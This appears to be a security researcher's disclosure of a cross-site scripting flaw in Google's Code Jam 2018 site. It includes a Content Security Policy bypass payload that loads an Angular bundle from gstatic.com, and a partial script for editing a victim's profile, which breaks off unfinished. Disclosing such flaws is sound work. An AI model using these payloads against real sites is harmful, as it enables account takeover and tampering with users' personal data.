Information about this XSS:

The XSS will be fired in the toast message.

Also, it seems like you have to open the homepage (https://codejam.withgoogle.com/2018/challenges/) at least once before visiting other pages there.


Due to CSP, this XSS will fire only in browsers where it’s not supported (i.e. IE).

If we could somehow find a way to execute a script that has inserted dynamically, we could bypass (thanks to gstatic.com) the CSP using the following payload. But I don’t think it’s possible in this case.

<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

Read more about bypassing CSP in my other post.

Attack scenario:

Attacker can get access to victim’s CodeJam account, for example read and edit his profile information (address, phone number, etc).

Here’s an example of how it could be done:

// go to profile page

  // change the username
  document.querySelector('#nickname').value = 'mynickname111';
  // create a fake input event 
  var event = document.createEvent("Event");
  event.initEvent('input', false, true); 
  // submit the form
